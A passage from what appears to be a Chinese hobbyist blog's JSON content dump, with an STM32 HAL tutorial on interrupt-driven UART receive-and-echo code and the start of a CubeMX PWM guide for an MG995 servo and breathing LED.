,主要原因是,在中断处理函数中,我们在接收了数据后并紧接着作出发送的操作,这会出现一个状况,还没来得及将上一次接收到的数据发送出去,就进入下一次接收的中断,然而导致失去了一些数据了。\u003c/p\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e中断接收,全部接收完后再发送\u003c/p\u003e\u003cp\u003e这个方式以一定的资源换取了一定程度数据的完整。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这种接收方式,是在方式2的基础上稍作改进的,较于前两种接收方式,是更好的一种接收方式,不会给原本的程序进程造成太大影响。还可以先接收全部数据(提示:通过定义一个较大的数组来存储),再将数据进行处理,这样能确保接收数据的完整性,并能将数据进行有效的处理、分析。\u003c/p\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e以上 1, 2 两种方式可以在参考博客中找到实现方法,这里主要关注方法 3\u003c/p\u003e\u003ch3 id=\"中断接收,全部接收完后再发送\"\u003e\u003ca href=\"#中断接收,全部接收完后再发送\" class=\"headerlink\" title=\"中断接收,全部接收完后再发送\"\u003e\u003c/a\u003e中断接收,全部接收完后再发送\u003c/h3\u003e\u003ch4 id=\"使能接收中断\"\u003e\u003ca href=\"#使能接收中断\" class=\"headerlink\" title=\"使能接收中断\"\u003e\u003c/a\u003e\u003cstrong\u003e使能接收中断\u003c/strong\u003e\u003c/h4\u003e\u003cp\u003e在 \u003ccode\u003eHAL_UART_MspInit\u003c/code\u003e(在 \u003ccode\u003eusart.c\u003c/code\u003e中)\u003cstrong\u003e使能接收中断\u003c/strong\u003e \u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_MspInit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eUART_HandleTypeDef\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e uartHandle\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 省略掉的前面的一些配置\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN USART1_MspInit 1 */\u003c/span\u003e \u003cspan class=\"token function\"\u003e__HAL_UART_ENABLE_IT\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003euartHandle\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e UART_IT_RXNE\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE END USART1_MspInit 1 */\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"编写接收中断服务程序\"\u003e\u003ca href=\"#编写接收中断服务程序\" class=\"headerlink\" title=\"编写接收中断服务程序\"\u003e\u003c/a\u003e编写接收中断服务程序\u003c/h4\u003e\u003cp\u003e \u003cstrong\u003e\u003ccode\u003eUSART1_IRQHandler\u003c/code\u003e\u003c/strong\u003e (在 \u003ccode\u003estm32f4xx_it.c\u003c/code\u003e 中)\u003c/p\u003e\u003cp\u003e定义三个静态变量\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 存储数组\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1024\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 指向存储数组将要存储数据的位\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 接收数据长度\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uLength \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e调用HAL库的UART接收函数以及发送函数\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e2、3步都可以根据自身要求进行改进\u003c/p\u003e\u003cul\u003e\u003cli\u003e第2步:判断接收结束条件,这个可以根据自己想要接收何种类型的数据而定。本次使用 \u003ccode\u003e回车\u003c/code\u003e 作为判断条件\u003c/li\u003e\u003cli\u003e第3步:数据处理,可以在这一步执行自己想要对数据做的一些操作。本次为将接收到的数据重新发送出去。\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 1. 接收数据\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_UART_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e pRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 2. 判断数据结尾\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e'\\n'\u003c/span\u003e \u003cspan class=\"token operator\"\u003e||\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e'\\r'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 3. 将接收成功的数据通过串口发出去\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uLength\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 4. 初始化指针和数据长度\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//重新指向数组起始位置 uLength = 0; //长度清零\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 5. 若未结束,指针往下一位移动,长度自增1\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e++\u003c/span\u003epRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003euLength\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e完整中断服务程序\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eUSART1_IRQHandler\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN USART1_IRQn 0 */\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 存储数组\u003c/span\u003e \u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1024\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 指向存储数组将要存储数据的位\u003c/span\u003e \u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 接收数据长度\u003c/span\u003e \u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uLength \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 接收数据\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e pRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 判断数据结尾\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e'\\n'\u003c/span\u003e \u003cspan class=\"token operator\"\u003e||\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epRx_Data \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token char\"\u003e'\\r'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 将接收成功的数据通过串口发出去\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uLength\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 初始化指针和数据长度\u003c/span\u003e pRx_Data \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e uRx_Data\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//重新指向数组起始位置\u003c/span\u003e uLength \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//长度清零\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 若未结束,指针往下一位移动,长度自增1\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e++\u003c/span\u003epRx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003euLength\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE END USART1_IRQn 0 */\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_IRQHandler\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN USART1_IRQn 1 */\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* USER CODE END USART1_IRQn 1 */\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"查看效果\"\u003e\u003ca href=\"#查看效果\" class=\"headerlink\" title=\"查看效果\"\u003e\u003c/a\u003e查看效果\u003c/h4\u003e\u003cp\u003e编译下载,使用串口查看\u003c/p\u003e\u003cp\u003e默认是不断发送之前的 \u003ccode\u003eHello World !\u003c/code\u003e ,在受到我们发送的数据后,将其再发送,结束后之前运行不受影响。(中断的好处)\u003c/p\u003e\u003cimg src=\"/img/posts/uart/6.gif\" alt=\"6\" style=\"zoom:67%;\" /\u003e\u003chr\u003e\u003cp\u003e发送与接收都完成咯,撒花 ~\u003c/p\u003e\u003cp\u003e)这算是搞明白了当时是如何操纵 \u003ccode\u003eStm32\u003c/code\u003e 使用 \u003ccode\u003eAT\u003c/code\u003e 指令与广和通 \u003ccode\u003eL610\u003c/code\u003e 通信了 ~\u003c/p\u003e\u003cp\u003e\u003cdel\u003e(当时没搞明白,对着例程xjb抄,发送功能糊出来了结果最后没有接收功能……令人感慨。\u003c/del\u003e\u003c/p\u003e","url":"https://blog.ksfu.top/posts/b619/"},{"title":"CubeMX初配置PWM\u0026驱动MG995舵机","time":"2022-05-02T12:32:45Z","content":"\u003ch1 id=\"CubeMX初配置PWM-amp-驱动MG995舵机\"\u003e\u003ca href=\"#CubeMX初配置PWM-amp-驱动MG995舵机\" class=\"headerlink\" title=\"CubeMX初配置PWM\u0026amp;驱动MG995舵机\"\u003e\u003c/a\u003eCubeMX初配\u003chr /\u003e\u003ch1 id=\"CubeMX初配置PWM-amp-驱动MG995舵机\"\u003e\u003ca href=\"#CubeMX初配置PWM-amp-驱动MG995舵机\" class=\"headerlink\" title=\"CubeMX初配置PWM\u0026amp;驱动MG995舵机\"\u003e\u003c/a\u003eCubeMX初配置PWM\u0026amp;驱动MG995舵机\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e最近在重学STM32,发现大二上整的像s一样\u003c/del\u003e\u003c/p\u003e\u003ch3 id=\"参考博客\"\u003e\u003ca href=\"#参考博客\" class=\"headerlink\" title=\"参考博客\"\u003e\u003c/a\u003e参考博客\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e[\u003ca href=\"https://www.emoe.xyz/bonjour-stm32-timer-cookbook/\"\u003eBonjour STM32] No.6-定时器简单理解与使用 - Emoe-Studio\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42967008/article/details/89267010\"\u003e STM32CubeMX学习笔记1——PWM配置_夏沫不学习的博客-CSDN博客_cubemx配置pwm\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/6151e6d4b207\"\u003eHAL库函数之呼吸灯——PWM波 - 简书 (jianshu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/he__yuan/article/details/79195435\"\u003e(37条消息) MG995舵机工作原理及基于STM32的驱动源代码_斜杠青年\u0026#x2F;的博客-CSDN博客_mg995舵机\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"PWM\"\u003e\u003ca href=\"#PWM\" class=\"headerlink\" title=\"PWM\"\u003e\u003c/a\u003ePWM\u003c/h3\u003e\u003cp\u003e个人理解:PWM就是方波,具体使用的时候改变这玩意的占空比就行。 \u003cspan class=\"diana_biu\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://s2.ax1x.com/2019/09/12/nBut8s.gif\"\u003e\u003c/p\u003e\u003ch3 id=\"配置PWM\"\u003e\u003ca href=\"#配置PWM\" class=\"headerlink\" title=\"配置PWM\"\u003e\u003c/a\u003e配置PWM\u003c/h3\u003e\u003cp\u003e要知道 \u003ccode\u003eCNT\u003c/code\u003e (计数器当前值), \u003ccode\u003eARR\u003c/code\u003e (自动重装载值), \u003ccode\u003eCCRx\u003c/code\u003e (捕获\u0026#x2F;比较寄存器值)\u003c/p\u003e\u003cp\u003e当 \u003ccode\u003eCNT\u003c/code\u003e 小于 \u003ccode\u003eCCRx\u003c/code\u003e 时,通道输出高电平;\u003c/p\u003e\u003cp\u003e当 \u003ccode\u003eCNT\u003c/code\u003e 等于或大于 \u003ccode\u003eCCRx\u003c/code\u003e 时,通道输出低电平;\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://s1.ax1x.com/2020/06/13/tjSq39.jpg\"\u003e\u003c/p\u003e\u003cp\u003e因为目前使用 \u003ccode\u003eSTM32F103C8T6\u003c/code\u003e ,首先设置使用外部时钟,再设置时钟为72Mhz\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/mg995/0.webp\" alt=\"3\"\u003e\u003c/p\u003e\u003cp\u003e直接输入 72 就行,CubeMX 会自动配置\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/mg995/4.webp\" alt=\"4\"\u003e\u003c/p\u003e\u003cp\u003e然后贴一段参考博客里的: \u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e确定时钟源频率后,我们就可以设置\u003cstrong\u003ePSC\u003c/strong\u003e和\u003cstrong\u003eARR\u003c/strong\u003e了。按照之前的要求,我们想让定时器的溢出频率为5Hz,则240MHz\u0026#x2F;5Hz\u0026#x3D;48M分频。我们知道,一个模值(“容量”)为48M的定时器即可完成此分频,可是我们的\u003cstrong\u003eCNT\u003c/strong\u003e寄存器只有16位,也就是说模值最大设置为65535,远远不够呀。这就是预分频器\u003cstrong\u003ePSC\u003c/strong\u003e存在的意义了,“时钟源太快了,\u003cstrong\u003eCNT\u003c/strong\u003e没有足够的容量来实现较长周期的定时,所以需要预分频器把时钟降慢一些”。所以说,我们把48M拆成2400*20000就可以了。注意实际填入\u003cstrong\u003ePSC\u003c/strong\u003e和\u003cstrong\u003eARR\u003c/strong\u003e都有一个“-1”,这是因为定时器是从0开始计数的,由0计到239正好是240次。总结一个定时器频率公式,就是这样:\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$$f_{TIM}\u0026#x3D;\\frac{f_{CLK}}{(PSC+1)\\times(ARR+1)}$$\u003c/p\u003e\u003cp\u003e改变占空比只需要改变对应计时器的 CCRx 就行\u003c/p\u003e\u003cp\u003e$$Duty_x\u0026#x3D;\\frac{CCRx}{ARR}$$\u003c/p\u003e\u003cp\u003e因为 MG995 电机需要一个20ms的时基脉冲,所以需要频率50Hz,为我们设置 \u003ccode\u003ePSC=7200-1\u003c/code\u003e \u003ccode\u003eARR=200-1\u003c/code\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003e72000000/7200/200=50\u003c/code\u003e\u003c/p\u003e\u003cp\u003e所以计数器每次 \u003ccode\u003e+1\u003c/code\u003e 的时间为 \u003ccode\u003e20ms/ARR=20ms/200=0.1ms\u003c/code\u003e\u003c/p\u003e\u003cp\u003e在CubeMX配置如下\u003c/p\u003e\u003cp\u003e设置 TIM3 定时器 ,只用一个通道就行,设置为 PWM模式,默认是 GPIOA16 管脚\u003c/p\u003e\u003cimg src=\"/img/posts/mg995/5.webp\" alt=\"5\" style=\"zoom:80%;\" /\u003e\u003ch3 id=\"先点个灯\"\u003e\u003ca href=\"#先点个灯\" class=\"headerlink\" title=\"先点个灯\"\u003e\u003c/a\u003e先点个灯\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e历时108个秒,我做出了苹果手机没有的功能,呼吸灯\u003c/del\u003e \u003cspan class=\"diana_yiyanzhen\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e呼吸灯的呼吸,就是灯的强弱状态,改变 PWM 的占空比便可调整\u003c/p\u003e\u003cp\u003e具体配置和前面差不多,这里设置为 \u003ccode\u003eARR=500\u003c/code\u003e\u003c/p\u003e\u003cp\u003e 改变 CRRx 的两种方式\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//ld1_duty 为我们设置的CCRx具体数值\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//方法一,直接操作\u003c/span\u003eTIM3 \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e CCR1 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e ld1_duty\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//方法二,使用库函数\u003c/span\u003e\u003cspan class=\"token function\"\u003e__HAL_TIM_SetCompare\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eld1_duty\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"主要代码为\"\u003e\u003ca href=\"#主要代码为\" class=\"headerlink\" title=\"主要代码为\"\u003e\u003c/a\u003e主要代码为\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003emain\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 省略一堆初始化函数\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 记录变强还是变弱\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e ld1_dir \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 相当于CNT\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e ld1_duty \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token 